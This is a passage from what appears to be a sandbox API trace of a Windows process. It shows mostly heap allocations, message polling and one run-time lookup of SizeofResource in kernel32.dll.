returned 0xeaf0d8 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0131.972] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0131.972] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0131.972] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bc8 [0131.972] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0131.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d30 [0131.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0131.973] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0131.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1d8 [0131.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b98 [0131.973] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0131.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0131.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1b8 [0131.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf138 [0131.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0131.973] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.973] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0131.973] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0131.973] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0131.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0131.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0d8 [0131.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0131.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1f8 [0131.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf138 [0131.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0131.973] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0131.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0131.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf138 [0131.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d00 [0131.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf248 [0131.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1b8 [0131.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0131.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d00 | out: hHeap=0xe80000) returned 1 [0131.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0131.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0131.974] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0131.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0131.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf148 [0131.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SizeofResource", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0131.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xf) returned 0x1076c40 [0131.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SizeofResource", cchWideChar=15, lpMultiByteStr=0x1076c40, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SizeofResource", lpUsedDefaultChar=0x0) returned 15 [0131.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.975] GetProcAddress (hModule=0x770a0000, lpProcName="SizeofResource") returned 0x770b8f80 [0131.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0131.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf148 | out: hHeap=0xe80000) returned 1 [0131.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0131.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf178 [0131.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf208 [0131.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0131.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0131.975] SizeofResource (hModule=0x0, hResInfo=0x377698) returned 0x1c211 [0131.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf158 [0131.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0x107f3f8 [0131.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076bb0 [0131.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0131.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0131.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0131.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1b8 [0131.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0131.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0131.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0131.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0131.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0131.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0131.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf248 [0131.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0131.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0131.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0131.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0131.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf148 [0131.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0131.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf148 | out: hHeap=0xe80000) returned 1 [0131.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.976] FreeLibrary (hLibModule=0x770a0000) returned 1 [0131.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0131.977] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1870 | out: hHeap=0xe80000) returned 1 [0131.977] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0131.977] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0131.977] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0131.977] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0131.977] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0131.977] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0131.977] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0131.977] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0131.977] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0131.977] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0131.978] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0131.978] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0131.978] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bc8 | out: hHeap=0xe80000) returned 1 [0131.978] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0131.978] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d30 | out: hHeap=0xe80000) returned 1 [0131.978] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1910 | out: hHeap=0xe80000) returned 1 [0131.978] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0131.978] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0131.979] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0131.979] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.979] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0131.979] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0131.979] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0131.979] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0131.979] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107f3f8 | out: hHeap=0xe80000) returned 1 [0131.979] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.980] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.980] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0131.980] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0131.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0131.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0131.980] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.980] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0131.980] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0131.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0131.981] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.981] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1938 [0131.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0131.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0131.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1d8 [0131.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0131.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0131.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0131.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0131.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0131.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf248 [0131.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0131.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0131.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0131.982] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1938 | out: hHeap=0xe80000) returned 1 [0131.982] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0131.982] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.982] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0131.982] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.983] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10160c0 | out: hHeap=0xe80000) returned 1 [0131.983] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055650 [0131.983] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055650 | out: hHeap=0xe80000) returned 1 [0131.983] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.983] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0131.983] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0131.986] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0131.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0131.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1d8 [0131.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0131.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0131.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0131.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0131.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0131.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0131.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0131.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf178 [0131.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0131.987] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0131.987] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0131.987] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1870 | out: hHeap=0xe80000) returned 1 [0131.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0131.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0131.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0131.988] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.988] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0131.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055510 [0131.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055510 | out: hHeap=0xe80000) returned 1 [0131.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0131.988] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.989] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0131.989] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.989] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0131.989] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0131.989] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0131.989] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0131.989] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0131.990] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0131.990] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0131.990] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.990] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0131.990] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.990] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.990] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0131.990] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0131.990] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0131.991] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.991] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.991] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0131.991] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.991] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0131.991] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.991] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0131.991] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.992] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555b0 [0131.992] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0131.992] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.992] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0131.992] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d00 [0131.992] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.992] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d00 | out: hHeap=0xe80000) returned 1 [0131.992] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.993] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0131.993] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0131.993] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0131.993] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0131.993] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 